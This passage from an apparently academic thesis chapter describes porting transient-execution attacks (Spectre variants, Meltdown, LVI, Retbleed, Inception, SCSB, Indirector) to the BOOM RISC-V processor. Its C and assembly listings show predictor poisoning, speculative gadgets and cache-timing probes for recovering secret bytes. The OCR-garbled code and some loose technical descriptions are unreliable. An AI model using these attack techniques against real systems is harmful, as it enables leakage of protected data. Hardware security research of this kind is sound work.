1 duration = (rdcycle() - startTime) ;

6 if (duration < CACHE_THRESHOLD) {
7 results[m] += 1; // Detect cache hits

Listing 3.5: Cache State Analysis

Attack Phases

The complete attack sequence comprises:

1. Flush phase: Clear array?2 from all cache levels

2. Training phase: Saturate branch predictor with valid indices

3. Exploit phase: Trigger out-of-bounds access with malicious index
4. Leakage phase: Measure 256 cache line access times

5. Analysis phase: Identify most frequent cache hits
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This implementation confirms that RISC-V architectures remain vulnerable to Spectre-
vl attacks, though reduced speculation window sizes compared to x86 architectures de-
crease (but do not eliminate) practical exploitability. The results emphasize the need for

comprehensive speculative execution hardening across all modern processor architectures.

3.2.2. Spectre Variant 2: Branch Target Injection

This section presents a RISC-V adaptation of the Spectre-v2 attack targeting the BOOM
processor’s branch prediction unit (BPU). The implementation demonstrates how indirect

branch misprediction can leak sensitive data through cache-based side channels.

Also referred to as “Branch Target Injection,” Spectre Variant 2 focuses on the indirect
branch prediction features present in both modern and older processors, more specifically,
when a processor is executing an indirect branch—such as function pointers, virtual func-
tion calls, or jumps using registers—it is dependent on certain structures like the Branch
Target Buffer (BTB) to predict what instruction path should be followed next. This helps
improve performance in most situations, however, it does make room for misprediction-

based attacks to happen.

In a Branch Target Injection instance, an attacker has the capability to train the branch
predictor by executing blocks of code that change the internal state of the predictor.
Their intent is to make it so any indirect branches in the victim code will speculatively
jump to a part of code controlled by the attacker, often termed as “gadgets.” Although
this type of incorrect speculation is rolled back after confirming the branch target, the
microarchitectural side effects that are left behind such as changes in the cache state, due

to the temporary instructions that were executed in the mean time, can be observed.

Cleverly designed instruments that measure side-channel signals such as cache access
timings enable attackers to extract sensitive information behind architectural walls. In-
direct branch target prediction is influenced by code operating at lower privilege levels in
the security domain which is the essence of Spectre Variant 2. This is a deeper problem
within speculative execution models where performance improving features are integrated

which make the hardware available for manipulation by an attacker.

Attack Methodology

The attack follows the classic Spectre-v2 pattern with RISC-V specific adaptations:
1. BPU poisoning: Train indirect branch predictor to mispredict targets

2. Speculative out-of-bounds access: Induce transient execution of victim function
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3. Microarchitectural encoding: Create secret-dependent cache state

4. Timing analysis: Extract secrets through prime+probe measurements

Victim Function with Secret Dependency

The speculative execution target carefully constructs memory access patterns:

void victimFunction(uint64_t idx) {
// Speculative out-of-bounds access
uint8_t temp = array2[arrayl[idx] % L1_BLOCK_SZ_BYTES];

Listing 3.6: Speculative Memory Access Pattern

The arrayl[idx] access becomes speculative when idx exceeds arrayl_size, while

the cache line offset in array2 encodes the secret value.

Indirect Branch Training

The attack alternates between legitimate and malicious branch targets:

passInAddr = victimAddr -~ (passInAddr & (placeholderAddr ~ victimAddr));

asm volatile(
"addi %[addr]l, %[addr]l, -2\n"
"jalr ra, %[addr], O\n"
[addr] "+r" (passInAddr)
[arg] "r" (passInIndex)
WE AW Mol WEad il WEabing

Listing 3.7: Branch Target Manipulation

The jalr instruction’s target oscillates between victimFunction and placeholder

Function based on BPU state poisoning.

Speculative Execution Window Creation

The training sequence leverages BOOM’s 2-bit saturation counters:

#define NUM_TRAINING 6 // 2-bit counter saturation

for(int64_t k = ((NUM_TRAINING+1)*NUM_ROUNDS)-1; k >=0; --k) {

// Alternate between legitimate/attack indices

passInIndex = randomIndex (passInIndex & (attackIndex

randomIndex)) ;



3| Porting of Transient Execution Attacks

7 // Perform branch training
8 if(k % (NUM_TRAINING+1) == 0) {

9 trigger_mispredict = 1; // Force wrong prediction

Listing 3.8: BPU Training Logic

Similarly, the cache timing phase is executed with the code snippet below:

1 for(uint64_t m=0; m<256; m++) {
2 startTime = rdcycle();

dummy &= array2[m * L1_BLOCK_SZ_BYTES];
i elapsedTime = (rdcycle() - startTime);

6 if (elapsedTime < CACHE_THRESHOLD) {
7 results[m] += 1; // Cache hit detected

Listing 3.9: Cache Timing Measurement

Secret Extraction Logic

Statistical analysis identifies probable secret values:

1 findTopTwo (results, 256, bestGuesses, bestHits);
2/ printf ("Memory [0x%p] = expected(%c) ?= guess 1.(%d, %c)\n",
3 (uint8_t*) (arrayl + attackIndex), secretDatali],

4 bestGuesses [0], bestGuesses[0]);

Listing 3.10: Secret Recovery

Attack Sequence

The complete exploitation flow comprises:

1. Flush phase: Clear array2 from cache

2. Training phase: Saturate BPU counters with malicious targets
3. Exploit phase: Trigger speculative out-of-bounds access

4. Leakage phase: Measure cache latencies across 256 probes

5. Analysis phase: Identify cache hits through statistical analysis

43



44 3| Porting of Transient Execution Attacks

This Spectre-v2 implementation demonstrates that RISC-V architectures remain vul-
nerable to classic speculative execution attacks, necessitating hardware /software co-design
for comprehensive mitigation. The success highlights fundamental challenges in balancing

performance and security in modern out-of-order processors.

3.2.3. Spectre RSB: Return Stack Buffer

This section presents a novel RSB (Return Stack Buffer) underflow attack targeting
return address prediction mechanisms in BOOM processors. The attack demonstrates
how speculative execution induced by corrupted RSB state can leak sensitive data through

microarchitectural side channels.

Spectre RSB is a form of speculative execution attacks that targets the Return Stack
Buffer (RSB) which is a hardware component of modern day processors that aids in
predicting return addresses. With every function call, the processor pushes the address
of the execution return location onto the RSB. When the function executes a return
instruction, the processor uses speculation to pop the top of the RSB, predicting the
return target and continues executing before the correct address is resolved from memory

or the register file.

This prediction-based approach has a positive effect on performance improvement due
to the conjunction of subroutine calls and returns being commonplace, as well as accurate
prediction of return targets avoiding pipeline stalls. However, the RSB is subject to
manipulation by an attacker who could redirect the speculative execution of a return
instruction to anywhere in code where she has placed so-called “gadgets.” An attacker
may be able to "poison" or "train" the RSB under specific circumstances, particularly
when the RSB is not adequately synchronized with real return instructions. This is done
by executing function calls that push chosen return addresses. Later, when a thread or
process belonging to the victim issued a return instruction, there is a possibility that the
speculation engine in the processor will use the poisoned RSB entry and speculate execute

the instruction at the dangerous address that was preloaded.

While it is true that any incorrect speculation is rolled back from the architecture, the
executed instructions tend to leave a trace of the micro architecture that can be analyzed,
for instance, in the caches of the CPU. The attacker can use the exploited inserted address
to calculate, for example, the amount of time it takes to access a cache, which is a side-
channel effect, and gain information that from an architectural point of view is impossible

to protect.
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Attack Core Principle
The exploitation leverages three key speculative behaviors:
1. RSB underflow: Forced exhaustion of return address entries
2. Speculative data access: Transient execution using poisoned return predictions

3. Cache-based side channel: Prime+probe analysis of residual cache state

Key Attack Components
RSB State Corruption

The attack induces RSB underflow through forced call chain simulation:

1 void frameDump () {

2 for (int 1 = 0; i < 32; i++) {

3 asm volatile (

4 "jal zero, 1f\n\t" // Fake return address push
5 "1:\n\t"

6 )

Listing 3.11: RSB Underflow Generation

This sequence creates 32 fake return address entries, exceeding BOOMv3’s 8-entry RSB

capacity and causing prediction fallback to alternate heuristics.

Speculative Secret Access

The victim function triggers speculative secret access during RSB recovery:

1 void specFunc(uint64_t addr) {
2 frameDump (); // Corrupt RSB state

| volatile uint8_t value = *((uint8_tx*)addr);
(void)attackArray[value * L1_BLOCK_SZ_BYTES]; // Cache-encoded
access

Listing 3.12: Transient Secret Access

The combination of RSB underflow and memory dereference creates a speculative win-

dow where value contains secret data.
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Cache Probing Implementation

The prime-+probe technique uses RISC-V-specific features:

for(uint64_t i = 0; i < 256; ++i) {
volatile uint8_t *addr = &attackArray[i * L1_BLOCK_SZ_BYTES];
uint64_t start = rdcycle();
dummy ~= *addr; // Force memory access

uint64_t diff = rdcycle() - start;

if (diff < CACHE_HIT_THRESHOLD) results[i]++;

Listing 3.13: Cache Timing Analysis

Attack Phases

The complete exploitation sequence comprises:

1. Flush phase: Evict attackArray from all cache levels

2. RSB poisoning: Induce underflow through fake return pushes
3. Speculative access: Trigger secret-dependent cache load

4. Exfiltration phase: Measure cache access latencies

5. Statistical analysis: Identify probable secret values

This implementation demonstrates that RISC-V architectures remain vulnerable to
RSB-based speculative execution attacks, though reduced microarchitectural complexity
compared to x86 implementations decreases practical exploitability. The results empha-
size the importance of comprehensive return address prediction hardening in out-of-order

processors.

3.2.4. Spectre Variant 4: Speculative Store Bypass

This section presents a RISC-V implementation of Spectre-v4 (Speculative Store By-
pass) targeting store buffer forwarding mechanisms in BOOM processors. The attack
demonstrates how speculative execution can bypass pending store operations to leak sen-

sitive data through microarchitectural side channels.

The technique known as “Speculative Store Bypass,” or more commonly known as Spec-
tre Variant 4, takes advantage of a modern processor’s ability to predictively reorder mem-

ory operations aimed at increasing execution throughput. Most modern-day processors
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perform store-to-load forwarding, or the ability of a load instruction to fetch data from
a previously stored (before the store has been archictecturally commited) value if the
instructions that have to be fetched and stored are predicted to have the same address.
Although these optimizations reduce latency in conventional code sequences, they can lead

to a more severe vulnerability problem in case of incorrect speculation or misprediction.

More specifically, a processor may predict that two instructions (a store and a subse-
quent load) act on independent memory regions. In such cases, the processor may elect to
skip the store and allow the load to access outdated data from the cache or registers in-
stead of the newly stored value. When this prediction is confirmed, the hardware removes
all architectural impacts from this misprediction. Any speculative actions made during
that window, such as memory reads, may generate residual microarchitectural remnants,

for instance in the CPU caches.

Attack Core Principle
The exploitation leverages three key speculative behaviors:
1. Store buffer forwarding: Speculative use of stale store buffer entries
2. Transient cache pollution: Secret-dependent load operations during speculation

3. Branch prediction abuse: Misprediction-induced speculative execution windows

Victim Function with Store-Load Race

The critical vulnerability arises from store-to-load forwarding speculation:

void victimFunctionSSB(uint64_t idx, uint8_t val) {
arrayl [idx] = val; // Architecturally wvisible store
uint8_t temp = array2[arrayl[idx] * L1_BLOCK_SZ_BYTES]; //
Speculative load

asm volatile("" : "+r" (temp)); // Prevent optimization

Listing 3.14: Store Bypass Vulnerability

During speculation, the load may use either the newly stored value or stale data from

the store buffer, creating secret-dependent cache state.

Speculative Control Flow Hijacking

Indirect branch manipulation creates speculative windows:

asm volatile(
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2 "addi %[laddr], %[addr], -2\n"
3 "jalr ra, %[laddr]l, O\n"

4 :: [addr] "r" (passInAddr)

5 S T LR Y. K

Listing 3.15: Branch Target Poisoning
The jalr instruction redirects execution based on poisoned branch predictor state.

Store Buffer Entanglement

FPU operations extend the vulnerable window:

1 asm("fcvt.s.lu fa4d, ti\n"
2 "fdiv.s fab, fab, fa4\n" // 4-cycle FPU dependency chain
3 "fcvt.lu.s t2, fab, rtz\n");

Listing 3.16: Speculation Window Widening
This 12-cycle delay increases the probability of store buffer bypass.

Cache Probing Implementation
The prime+probe technique uses RISC-V-specific features:

1 for (uint64_t m=0; m<256; m++) {
startTime = rdcycle();
3 dummy &= array2[m * L1_BLOCK_SZ_BYTES];

1 elapsedTime = rdcycle() - startTime;

V]

6 if (elapsedTime < CACHE_THRESHOLD) A{
7 results[m]++; // Detect cache hits

Listing 3.17: Cache Timing Measurement

Attack Phases

The complete exploitation sequence comprises:
1. Flush phase: Evict array2 from all cache levels
2. Training phase: Saturate branch predictor with valid targets

3. Entanglement phase: Create store-load races with secret data
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4. Exfiltration phase: Measure cache access latencies
5. Analysis phase: Statistical recovery of secret bytes

This implementation confirms that RISC-V architectures remain vulnerable to Spectre-
v4 attacks, though reduced microarchitectural resources compared to x86 implementations
decrease practical exploitability. The results emphasize the need for comprehensive store

buffer speculation controls in high-performance processors.

3.2.5. Meltdown

This section demonstrates a Meltdown-type attack implementation targeting the BOOM
RISC-V processor, bypassing kernel-space memory protections through speculative exe-
cution. The attack exploits transient out-of-order execution to access privileged memory

regions and leak secrets via cache-based side channels.

Meltdown refers to a transient execution attack that takes advantage of a race condition
between the memory access check and the speculative instruction execution scheduling
in modern processors. It was first revealed on January 2018 (CVE-2017-5754). Melt-
down mainly considers systems where user level applications may have the ability to
execute instructions in prefetch mode and access private memory regions (privileged such
as Operating System kernel space) without an appropriate gates being before required the
permission checks on system. Even though the subsequent denial of the transient state
is performed, the data that was speculatively accessed during this state is still stored in

cache memory and does not gets erased from the memory subsystem.

On its fundamentals, Meltdown exploits the observation that many modern processors
try to maximize performance by executing out-of-order and also speculative execution of a
set of instructions. In trying to load the instruction that attempts to access private data,
the processor will speculatively perform memory access with the hopes that permission
will be granted. If, in reality, the access violates any of the privilege boundaries, that
access will be rolled back in the system, however, the changes performed to the system
state, like for example which cache line was loaded or the cache state, are still there. The
result is that, by devising complex schemes involving precise timing and memory access,

users can determine which value is stored in restricted memory locations.

Unlike Spectre which needs careful “poisoning” of either branch predictors or the return
stack buffer to misdirect the processor down a particular ill-fated path, Meltdown arises
from the lack of proper enforcement of permission checks within the scope of speculation.

For this reason, Meltdown attacks are usually not dependent on training the predictor
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mechanisms of the processor. Instead, they take advantage of the flaw in memory isolation
that occurs when the speculation takes place prior to the confirmation of permission

checking being completed.

Mitigation strategy used to monitor and curb malware applications and viruses at-
tempting to penetrate a device’s kernel often includes stronger segregation of software
and hardware components such as Kernel Page-Table Isolation (KPTT), which separates
kernel and user level page tables. While, at hardware level, microcode or architectural
leaks enabling less stringent permission checks in memory use during speculation pro-
cessing have been issued. Regardless, the spread of the Meltdown case exemplified the
great flaw deeply rooted in systematical integration of the architecture brought about by
multiplication of cores in devices using speculative execution making the system obsolete

in terms of its software security from execution transience attacks.

Kernel Data Protection Mechanism

The implementation emulates kernel-space memory protection through linker script

configuration:

/% Linker script section */

» .krodata ALIGN(0x40) : {

KEEP (*(.krodata)) /#* Kernel read-only data */

/% Secret data placement */
__attribute__((section(".krodata")))
static const char secretStr[] = "!\"#ThisIsTheSecretString:)...";

Listing 3.18: Kernel Data Section Definition

Key protection features:
e Separate memory section at privileged virtual address
e User-space access prevention through MMU configurations
e Read-only permissions enforced at hardware level

e Physical isolation from user-space memory regions

Attack Core Principle

The Meltdown implementation exploits three key vulnerabilities:

1. Speculative data access: Transient execution before permission check
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2. Out-of-order execution: Memory disambiguation failure

3. Microarchitectural leakage: Cache-based side channel exfiltration

Key Attack Components
Victim Function with Transient Access

The speculative execution window enables privileged data access:

1 void victimFunction(uint64_t idx) {
2 uint8_t temp = O0;

if (idx < SECRET_LEN) { // Mispredicted branch
i // Transient access to kermel memory
, temp = array2[secretStr[idx] * L1_BLOCK_SZ_BYTES];
6 }
7 temp = rdcycle(); // Speculation anchor

Listing 3.19: Transient Kernel Access

Cache-Based Exfiltration

The prime+probe implementation uses BOOM-specific cache characteristics:

i for (uint64_t m = 0; m < 256; ++m) A{
2 startTime = rdcycle();
3 temp &= array2[m * L1_BLOCK_SZ_BYTES];

s duration = (rdcycle() - startTime);

6 if (duration < CACHE_THRESHOLD) {
7 results[m] += 1; // Secret-dependent hit

Listing 3.20: Cache Probing

Attack Phases

1. Flush phase: Clear array2 from all cache levels

2. Speculative access: Transient kernel memory read

3. Microarchitectural encoding: Secret-dependent cache load
4. Timing analysis: Prime+probe cache measurements

5. Statistical recovery: Identify most probable secret byte
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Implementation Details
Kernel Bypass Mechanism

The attack succeeds through:
e Speculative execution before TLB permission check
e Transient use of unauthorized data in cache ops

e Delayed fault generation allowing side effects

BOOM Pipeline Behavior

e Loads execute speculatively without permission checks
e Exceptions generate after retirement stage

e Transient instructions leave microarchitectural traces

3.2.6. Load Value Injection (LVI)

This section demonstrates a novel Load Value Injection (LVI) attack implementation
targeting the BOOM RISC-V processor. The attack exploits speculative execution to
inject attacker-controlled values into transient execution windows, bypassing architectural

safeguards through microarchitectural side channels.

Load Value Injection (LVI) is a form of transient execution vulnerabilitiy where an at-
tacker attempts to inject adversarial data into the victim’s unfocused load operations for
execution. Differently from the earlier Spectre or Meltdown-esque attacks aimed at ex-
tracting secret data using the victim’s speculative processes, LVI operates in the opposite
manner by introducing malicious values that the victim’s processor uses in speculative
execution. LVI provides wider opportunities for manipulation and leakage because the
loaded values can be used to manipulate the victim’s subsequent speculative operations

and memory references.

In broad strokes, LVI exploits a faulting or assisting instruction (for example, loads
which cause a page fault) to forward a pre-determined attacker value to the victim’s load
at an appropriately chosen moment in time before the actual architectural data is fetched.
Once a victim processes these bad speculated value, all possible arithmetic and logical
actions based on them as well as required data accesses would cause micro-architectural
side effects that can be scanned through side channels. Although architecturally the state
is speculatively safe to be discarded once the associated exception or misprediction is

noted, the resulting microarchitectural changes can still be accessed. It is the confluence
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of out-of-order execution, speculative data forwarding, and permissive speculation on

faulting loads that creates the fundamental problem.

Attack Core Principle
The LVI implementation combines three critical components:
1. Speculative value injection: Forced misprediction-induced transient execution
2. Microarchitectural oracle: Cache-based side channel for value detection

3. Branch predictor poisoning: Training for controlled speculation windows

Value Injection Mechanism

The attack forces speculative execution with attacker-controlled values:

1 void victimFunctionSpeculativeInjection(uint8_t input) {
2 if (input < ARRAY_SIZE) { // Mispredicted branch

uint8_t spec_val = victim_memory[input]; // Transient load

if (spec_val == 0) { // Speculative condition
6 oracle [0 * 4096] = MARKER_NONZERQO; // ’z’ injection
7 } else {
8 oracle [(ARRAY_SIZE-1) *4096] = MARKER_ZERO; // ’a’ injection

Listing 3.21: Speculative Value Injection

Side Channel Oracle

The cache-based detection system uses strategic memory layout:

1 volatile uint8_t oracle [ARRAY_SIZE *x 4096]; // 4KB-aligned entries

3 uint8_t isCachedChar (char c) {
int index = (c == ’a’) ? 0 : ARRAY_SIZE-1;

5 return measureAccessTime (&oracle[index*4096]) < 50;

Listing 3.22: Cache Oracle Configuration
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Attack Execution Phases

Phase 1: Branch Predictor Poisoning
e 100 valid iterations train predictor to expect valid inputs
e Creates strong bias for branch taken prediction

e BOOM'’s 2-bit saturating counter reaches strong taken state

Phase 2: Speculative Injection

1. Provide out-of-bounds input (ARRAY SIZE + 10)
2. Branch predictor incorrectly assumes valid input
3. Speculative load from attacker-controlled offset

4. Transient execution with injected value

Phase 3: Microarchitectural Exfiltration

e Cache state analysis reveals injected marker
e 4KB alignment prevents cache set collisions

e (Cycle-accurate timing via rdcycle CSR

Cache Eviction Strategy

The flush mechanism ensures clean measurement baseline:

1 void flushOracle() {
2 volatile uint8_t dummy [ARRAY_SIZE * 4096];
for (int i = 0; i < ARRAY_SIZE; i++) {
! dummy [1i * 40961 = 1; // Sequential 4KB accesses

Listing 3.23: Cache State Management

Timing Measurement Implementation

RISC-V specific cycle counting;:

1 uint64_t measureAccessTime(volatile uint8_t #*addr) {
2 uint64_t timel = rdcycle();
3 volatile uint8_t value = *addr; // Sertialtizing access

| return rdcycle() - timel;
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Listing 3.24: Cycle-Accurate Timing

3.2.7. Retbleed

This section details the implementation of a RetBleed-style speculative execution at-
tack on the BOOM RISC-V processor. The attack exploits return address prediction
mechanisms to leak sensitive data through microarchitectural side channels, adapting

x86-specific RetBleed concepts to RISC-V’s architectural constraints.

Retbleed poses a novel threat in retpoline’s designed defenses, which was created to
mitigate Spectre Variant 2’s (branch target injection) attack angles. Retpoline techniques,
focus on obstructing speculative executions of jumps by driving the CPU to a specific route
which prevents hostile mispredictions of the control flow. Unlike traditional methods,
Retbleed techniques expose the fact that, similarly to indirect jumps, returns can also be
used in contention branch target manipulation. For the more sophisticated processors, the
use of Retbleed is further simplified by the presence of RSBs (Return Stack Buffers), which
provide greater efficiency in processing control flows. Right before a return is executed,
the RSB is poisoned or directed toward the wrong location, undermining the control
flow, this causes speculative execution of pre-determined instructions known as 'gadgets’,
which are capable of disclosing confidential information through microarchitectural side
channels. By carefully crafting the instructions leading up to a return, an attacker can
induce this misprediction, influence the speculatively fetched gadget, and infer privileged

information from the subsequent microarchitectural footprints.

Retbleed’s primary contribution is demonstrating that return-based speculation can,
once again, reintroduce vulnerabilities which existing countermeasures to indirect branch-
based Spectre attacks tried to mitigate. As with other transient execution exploits, Ret-
bleed is effective due to the gap between the architectural rollback, which removes the ef-
fects of mispredicted instructions at the software-visible level, and the micro-architectural
side effects that persist. These effects, like the change in state of the CPU cache, are still
present after the pipeline has been encouraged, and so reveal the means by which secrets

can be obtained.

Attack Methodology

The implementation targets BOOM’s return address stack (RAS) predictor through
three phases:
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1. RAS poisoning: Manipulating speculative return address predictions

2. Transient execution: Forcing out-of-bounds secret access during misprediction

windows

3. Cache-based exfiltration: Detecting secret-dependent cache state through timing

analysis

Return Address Manipulation

The core RetBleed primitive modifies return address predictions through stack manip-

ulation:

1 void manipulateReturnAddress () {

2 asm("addi sp, sp, -8\n" // Allocate stack space

3 "sd ra, O0(sp)\n" // Save return address
A "addi ra, ra, 16\n" // Corrupt return address prediction
"ld ra, O0(sp)\n" // Restore actual address

6 "addi sp, sp, 8\n"); // Clean stack

Listing 3.25: Return Address Tampering

This sequence creates a mismatch between the architecturally correct return address

and the RAS predictor’s state during speculative execution.

Victim Function Design

The vulnerable function speculatively accesses secret data based on attacker-controlled

indices:

1 void victimFunction(uint64_t idx) {
2 uint8_t temp = array2[arrayl[idx] * L1_BLOCK_SZ_BYTES];
3 printf ("%c", temp); // Architecturally unreachable

1 ¥

Listing 3.26: Secret-Bearing Victim Function

The arrayl[idx] access becomes speculative when idx exceeds arrayl_size, while

the cache state modification in array2 remains measurable.

Speculative Control Flow Hijacking

The attack combines RAS poisoning with indirect branch misprediction:

1 asm volatile(
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2 "addi %[addr], %[addr]l, -2\n"
3 "jalr ra, %laddr]l, O\n"

4 : [addr] "+r" (passInAddr)
5 : [arg] "r" (passInIndex)
6 S lltlll, ||t2|l, llfa4ll, l|fa5ll);

Listing 3.27: Speculative Execution Trigger

The jalr instruction enables speculative redirection to either the victim function or be-
nign placeholder based on poisoned RAS state. The training sequence length (NUM_TRAINING=6)

was empirically determined to saturate BOOM’s 2-bit branch predictor counters.

Cache Hierarchy Exploitation
| for (uint64_t m=0; m<256; m++) {
startTime = rdcycle();
3 dummy &= array2[m * L1_BLOCK_SZ_BYTES];
| elapsedTime = (rdcycle() - startTime);

N

6 if (elapsedTime < CACHE_THRESHOLD) {
7 results[m] += 1; // Cache hit detection

Listing 3.28: Cache State Analysis

Secret Extraction Logic

Statistical analysis identifies probable secret values:

1 findTopTwo (results, 256, bestGuesses, bestHits);

o/ printf ("Memory [0x%p] = expected(%c) 7= guess 1.(%d, %c) 2.(%hd, %c)\n",
(uint8_t*) (arrayl + attackIndex), secretDatali],

| bestGuesses [0], bestGuesses[0], bestGuesses[1l], bestGuesses[1]);

Listing 3.29: Secret Byte Identification

Attack Sequence

The full exploitation chain proceeds as:
1. Flush array?2 from cache
2. Train RAS predictor with corrupted return addresses

3. Trigger speculative execution with malicious index
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4. Measure cache latencies to detect secret-dependent access

5. Statistically analyze results across multiple rounds

3.2.8. Inception

This section presents a novel Inception-style speculative execution attack combining Re-
turn Stack Buffer (RSB) poisoning and controlled gadget execution. The attack demon-
strates multi-layered speculation capabilities in BOOM processors, exploiting both branch

prediction and cache hierarchy vulnerabilities.

Inception is a complex form of a transient execution attack that combines methods from
previously existing ones, like Spectre RSB or Retbleed, for speculative code execution. It
indeed focuses on the Return Stack Buffer (RSB), which is a hardware component that
tries to predict the target locations of return instructions to enhance performance. Instead
of branch misprediction based Spectre attacks, Inception focuses on control of the loosely

coupled Speculative Execution model’s return flows.

Modern processors rely on the RSB to store return addresses from function calls, al-
lowing them to predict the return addresses without loading them from the memory.
Inception exploits this feature by manipulating and pushing controlled return addresses
into the RSB, which leads to the execution of undesired instructions. This attack is built
on the fact that many processors rely on indirect branch predictor schemes after RSB

underflow, which can be exploited.

Attack Core Principle
The Inception attack combines three speculative execution paradigms:
1. RSB mistraining: Induced return address misprediction
2. Controlled gadget execution: Speculative code injection

3. Transient cache priming: Multi-level cache state manipulation

Key Attack Components
Controlled Speculative Gadget

The attack uses carefully crafted code regions for speculative execution:

void attackerControlledGadget () {
if (attackIdx < SECRET_LEN) {
uint8_t value = secretStr[attackIdx];
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1 uint64_t index = value * L1_BLOCK_SZ_BYTES;

5 uint8_t temp = array2[index]; // Transient access

Listing 3.30: Controlled Speculation Gadget

The if condition creates a speculative window where out-of-bounds accesses are tran-

siently executed before architectural validation.

RSB Entanglement

The attack combines RSB poisoning with gadget flushing:

1 void victimFunction () {
2 // RSB mistraining
3 for (int i = 0; i < 10; ++i) {

4 asm volatile("call dummyFunction");

7 // Flush attack gadget
8 flushCache ((uint64_t)&attackerControlledGadget ,
9 sizeof (attackerControlledGadget));

11 // Force speculative gadget ezecution

12 asm volatile("call attackerControlledGadget");

Listing 3.31: RSB Manipulation Sequence

This sequence creates a race condition between cache miss resolution and RSB-based

speculation.

Multi-Level Cache Orchestration

The attack uses dual cache manipulation strategies:
e Gadget flushing: Forces speculative cache miss resolution

e Data array priming: Enables secret-dependent cache state

1 flushCache ((uint64_t)array2, sizeof (array2)); // Prime
2 victimFunction(); // Speculative ezecution
3 // Probe phase...

Listing 3.32: Cache State Management
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Attack Phases

The complete attack sequence comprises:

1. RSB poisoning: Mistrain return address predictions

DO

. Gadget preparation: Flush controlled code from caches
3. Speculative triggering: Force RSB-based misprediction
4. Transient execution: Execute secret-dependent gadget

5. State analysis: Prime+probe cache measurements

3.2.9. SCSB: Speculative Code Store Bypass

This section presents the design and implementation of a Speculative Code Store Bypass
(SCSB) attack on the BOOM (Berkeley Out-of-Order Machine) RISC-V processor. The
attack leverages speculative execution features to bypass code store isolation mechanisms

and extract sensitive data through cache-based side channels.

Speculative Code Store Bypass (SCSB) is a transient execution attack that leverages
the processor’s speculative execution of code that has recently been stored to memory.
In contrast to many Spectre-style attacks that revolve around branch prediction and
misprediction, SCSB exploits microarchitectural optimizations related to how instructions

and data are cached and forwarded in out-of-order and speculative pipelines.

When modern processors handle self-modifying code or just-in-time (JIT) compiled
code, a store operation may update an instruction in memory, however, under certain
circumstances, the processor may not fully synchronize this change with the instruction
cache or other relevant pipeline structures before continuing execution. If speculation
is triggered shortly afterward, the updated instruction can be speculatively executed—or
partially executed—before the hardware confirms all coherence or synchronization checks,
and this speculative execution path may allow attackers to execute code that has been
transiently written, bypassing architectural constraints on loading or re-fetching the mod-
ified instructions. While the speculation is eventually invalidated if architectural checks
reveal mismatches (e.g., stale instruction cache entries or coherence violations), the mi-
croarchitectural artifacts generated during that speculation can remain and be observed

via side channels.
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Attack Overview

The SCSB attack exploits speculative code fetches from memory regions containing

victim code sequences. When combined with branch predictor poisoning, this enables:
1. Speculative execution of attacker-chosen code sequences
2. Transient modification of code store regions during speculation windows
3. Residual cache state leakage through timing analysis

The implementation adapts traditional Spectre-v1 concepts to RISC-V’s reduced in-
struction set architecture and BOOM’s specific microarchitectural features, including its

branch prediction unit and cache hierarchy.

Porting Challenges to BOOM
Key adaptations required for RISC-V/BoomV3 include:

e RISC-V instruction encoding for code store manipulation
e JALR instruction exploitation for speculative control flow redirection
e L1 data/instruction cache partitioning characteristics

e BOOM’s branch predictor training requirements (6 training iterations for 2-bit sat-

uration)

Code Store Manipulation

The attack dynamically modifies executable code regions during speculative windows.

Two code sequences are alternated:

1 // Returns 42 when ezecuted

> static const uint8_t code_ret42[12] = {

3 0x33, 0x05, Oxab, 0x40, // addi a0, a0, 42
1 0x67, 0x80, 0x00, 0x00 // ret

50}

7 // Returns 99 when ezecuted

s static const uint8_t code_ret99[12] = {

9 0x33, 0x05, 0x35, 0x06, // addi a0, a0, 99
10 0x67, 0x80, 0x00, 0x00 // ret

1}

13 void victimFunction(uint64_t idx) {

14 // Dynamically patch code section
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15 for (int 1 = 0; i < 12; i++) {

16 codeSection[i] = code_ret99[il];

17 }

18 // Ezecute from modifiable code store

19 functype_t fn = (functype_t) codeSection;

20 return fn();

Listing 3.33: Code Store Templates

Branch Predictor Poisoning

The attack trains the branch predictor to mispredict conditional jumps:

1 for(int64_t k = ((NUM_TRAINING + 1)*NUM_ROUNDS)-1; k >=0; --k){

2 // Compute alternate addresses for speculative ezecution

3 passInAddr = victimAddr -~ (passInAddr & (placeholderAddr -~
victimAddr)) ;

// Architecture-specific training sequence

6 __asm__ __volatile__(
7 "addi %[laddr], %[addr], -2\n"
8 "jalr ra, %[addr], O\n"

9 : [addr] "+r" (passInAddr)
10 : [arg] "r" (passInIndex)
11 . lltl”, llt2l|’ |lfa4||’ |lfa5l|);

Listing 3.34: Branch Training Sequence

3.2.10. Indirector

This section presents an Indirect Branch Target Injection (IBTI) attack implementation
targeting BOOM’s indirect branch predictor. The attack demonstrates how speculative
execution through poisoned indirect branches can leak sensitive data via cache side chan-

nels.

Indirector refers to a type of execution attack that exploits indirect branches like those
that involve the use of function pointers or virtual method calls, by manipulating how
branch prediction logic determines the targets of indirect jumps. Indirector is different
from branch predictor attacks that rely on the mispredicted conditional branch as an
indirect subroutine control target. Instead, Indirector aims at misguiding the outcome of

an indirect call or jump so that the processor runs the instructions (gadgets) defined by
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the attacker.

Modern processors build indirect jump predictors using special pieces of hardware, such
as Branch Target Buffer (BTB). These pieces of hardware make it possible to start execut-
ing instructions, prior to the target being computed. In an Indirector attack, an attacker
“trains” the predictor with certain indirect branch patterns such that a victim’s indirect
call is speculated to branch to an attacker favorable location, typically to a pre-loaded

gadget that can contaminate sensitive data.

Indirector has similarities with Spectre Variant 2 (Branch Target Injection). They both
depend on an indirect method of capturing or “polluting” branch prediction systems to
capture future indirect branches. Nevertheless, Indirector usually outlines a broader, or
more sophisticated, method of target control flow redirection that seems to increase the

scope and complexity of the gadgets that can be retargeted.

Attack Core Principle

The Indirector attack exploits three key components:
1. Indirect branch poisoning: Corrupting branch target buffer (BTB) state
2. Speculative gadget execution: Transient execution of attacker-chosen code paths

3. Microarchitectural residue: Cache-based side channel exfiltration

Key Attack Components
Indirect Branch Victim Function

The critical vulnerability resides in indirect branch handling:

void victimFunction(void (*func_ptr)(uint64_t), uint64_t idx) {
func_ptr(idx); // Indirect branch with poisoned target

5 // Attack-controlled speculative function

j void speculativeFunction(uint64_t idx) {

uint8_t temp = array2[arrayl[idx] * L1_BLOCK_SZ_BYTES];

Listing 3.35: Indirect Branch Vulnerability

Branch Predictor Poisoning

The attack alternates between legitimate and malicious targets:
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| for(int64_t k = ...; k >= 0; --k) {

D

3

1

void (*func_ptr) (uint64_t) =
(k % (NUM_TRAINING + 1)) == 0
? speculativeFunction // Attack target

benignFunction; // Legitimate target

victimFunction (func_ptr, index); // Train predictor

Listing 3.36: Branch Target Training

Speculative Execution Trigger

